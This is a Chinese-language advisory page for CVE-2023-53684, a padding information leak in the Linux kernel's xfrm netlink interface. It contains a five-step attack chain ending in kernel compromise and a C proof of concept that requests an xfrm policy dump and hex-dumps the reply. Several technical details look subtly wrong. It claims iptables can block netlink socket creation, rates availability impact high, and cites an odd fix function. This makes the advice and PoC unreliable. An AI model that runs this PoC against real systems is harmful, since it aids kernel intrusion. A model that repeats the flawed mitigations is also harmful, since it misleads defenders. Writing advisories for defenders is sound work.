IPBUF安全漏洞报告
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CVE-2023-53684 CVSS 5.5 中危

CVE-2023-53684 Linux内核xfrm子系统结构体填充信息泄露漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53684
漏洞类型
信息泄露/未初始化内存泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (xfrm子系统)

相关标签

Linux Kernel信息泄露未初始化内存xfrmIPsecnetlink内核漏洞CVE-2023-53684本地提权辅助内核子系统

漏洞概述

CVE-2023-53684是Linux内核xfrm(IPsec协议转换框架)子系统中的一个信息泄露漏洞。该漏洞源于内核在通过xfrm_user接口将算法信息(algos)和封装模板(encap template)数据拷贝至用户空间时,未对结构体中的填充字节(padding)进行清零处理。在C语言结构体中,编译器通常会自动插入填充字节以满足内存对齐要求,这些填充字节可能包含之前使用过的随机内存数据,其中可能含有敏感信息(如内核栈残留数据、堆内存残留数据或其他进程遗留的敏感信息)。当用户空间应用程序通过netlink接口调用相关dump操作时,内核会将整个结构体(包括未初始化的填充区域)完整复制到用户空间缓冲区,导致敏感数据泄露给普通用户。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问即可利用,无需用户交互。虽然机密性影响被评定为低,但可用性影响为高,表明该漏洞可能导致系统不稳定或拒绝服务状态。Linux内核维护者已通过补丁修复此问题,确保在数据拷贝至用户空间之前将所有填充字节清零,从而防止敏感信息泄露。

技术细节

该漏洞的技术根源在于Linux内核xfrm_user模块中的数据序列化逻辑。具体而言,在copy_to_user态操作中,内核代码使用结构体直接拷贝的方式将xfrm算法信息(如xfrm_algo、xfrm_algo_auth、xfrm_encap_tmpl等结构)传递给用户空间应用程序。由于这些结构体在定义时存在内存对齐填充字段(例如32位字段在64位系统上可能需要8字节对齐填充),而内核在填充这些结构时仅初始化了有效数据字段,填充区域保留了栈或堆上之前的内存内容。

利用方式方面,攻击者作为本地低权限用户,可以通过以下步骤触发漏洞:
1. 创建netlink套接字并连接到NETLINK_XFRM协议族;
2. 构造特定的netlink消息请求,触发内核dump xfrm算法列表或封装模板;
3. 内核调用xfrm_msg_min或copy_to_user将结构体数据复制到用户空间缓冲区;
4. 攻击者读取返回的缓冲区数据,分析填充区域中可能泄露的敏感信息。

虽然该漏洞本身不直接导致权限提升或远程代码执行,但泄露的敏感信息可能被用于辅助其他攻击,如内核地址泄露(KASLR绕过)、栈cookie泄露等。该漏洞的修复通过在结构体拷贝前调用memset将整个结构清零,或使用memcpy_from_msg配合显式的零初始化来确保填充字节为0。

攻击链分析

STEP 1
步骤1:建立netlink通信通道
攻击者作为本地低权限用户,创建一个AF_NETLINK类型的RAW套接字,并指定NETLINK_XFRM协议族(协议号6),用于与内核xfrm子系统通信。
STEP 2
步骤2:构造特定netlink请求
攻击者构造XFRM_MSG_GETPOLICY或XFRM_MSG_GETSA等netlink消息,设置NLM_F_DUMP标志以触发内核遍历并返回所有匹配的xfrm策略或安全关联信息。
STEP 3
步骤3:触发内核结构体拷贝
内核xfrm_user模块接收到dump请求后,遍历xfrm状态或策略链表,将xfrm_algo、xfrm_algo_auth、xfrm_encap_tmpl等结构体拷贝到skb缓冲区,此过程未清零填充字节。
STEP 4
步骤4:接收并分析泄露数据
攻击者接收netlink响应消息,通过分析结构体填充区域中的非零字节,可能获取内核地址、栈残留数据或其他敏感信息,为后续攻击(如KASLR绕过)提供信息支撑。
STEP 5
步骤5:利用泄露信息进行后续攻击
基于泄露的内核内存布局信息,攻击者可以组合其他漏洞进行权限提升或内核代码执行,实现完全的系统控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2023-53684 - Linux Kernel xfrm padding information disclosure PoC * This PoC demonstrates how to trigger the xfrm algo/encap dump operation * to read uninitialized padding bytes from kernel structures. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> #include <linux/xfrm.h> #define NETLINK_XFRM 6 int main(int argc, char *argv[]) { int nlfd; struct sockaddr_nl sa; struct { struct nlmsghdr nh; struct xfrm_userpolicy_info xpinfo; } req; char buf[4096]; struct nlmsghdr *nlh; int len; // Create netlink socket for XFRM nlfd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (nlfd < 0) { perror("socket"); return 1; } memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; if (bind(nlfd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(nlfd); return 1; } // Send XFRM_MSG_GETPOLICY to trigger dump of algo/encap structures memset(&req, 0, sizeof(req)); req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_userpolicy_info)); req.nh.nlmsg_type = XFRM_MSG_GETPOLICY; req.nh.nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; req.nh.nlmsg_seq = 1; req.nh.nlmsg_pid = getpid(); if (send(nlfd, &req, req.nh.nlmsg_len, 0) < 0) { perror("send"); close(nlfd); return 1; } // Receive response and inspect padding bytes len = recv(nlfd, buf, sizeof(buf), 0); if (len > 0) { // Analyze received data for leaked padding content nlh = (struct nlmsghdr *)buf; printf("Received %d bytes from kernel\n", len); printf("Message type: %d\n", nlh->nlmsg_type); // Dump raw hex to inspect potential leaked padding unsigned char *p = (unsigned char *)buf; for (int i = 0; i < len && i < 256; i++) { if (i % 16 == 0) printf("\n%04x: ", i); printf("%02x ", p[i]); } printf("\n"); } close(nlfd); return 0; }

影响范围

Linux Kernel < 6.6 (主分支)
Linux Kernel 6.6.x (部分版本)
Linux Kernel 6.1.x (LTS分支)
Linux Kernel 5.15.x (LTS分支)
Linux Kernel 5.10.x (LTS分支)
Linux Kernel 5.4.x (LTS分支)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)通过iptables或nftables限制非特权用户创建NETLINK套接字的能力;2)使用seccomp或AppArmor等强制访问控制机制限制进程对NETLINK_XFRM协议族的访问;3)移除或禁用系统中的IPsec相关功能(如果不需要),减少xfrm子系统的使用场景;4)监控系统日志,关注异常的netlink XFRM消息;5)关注Linux发行版供应商发布的安全公告,及时应用对应的安全补丁。

参考链接

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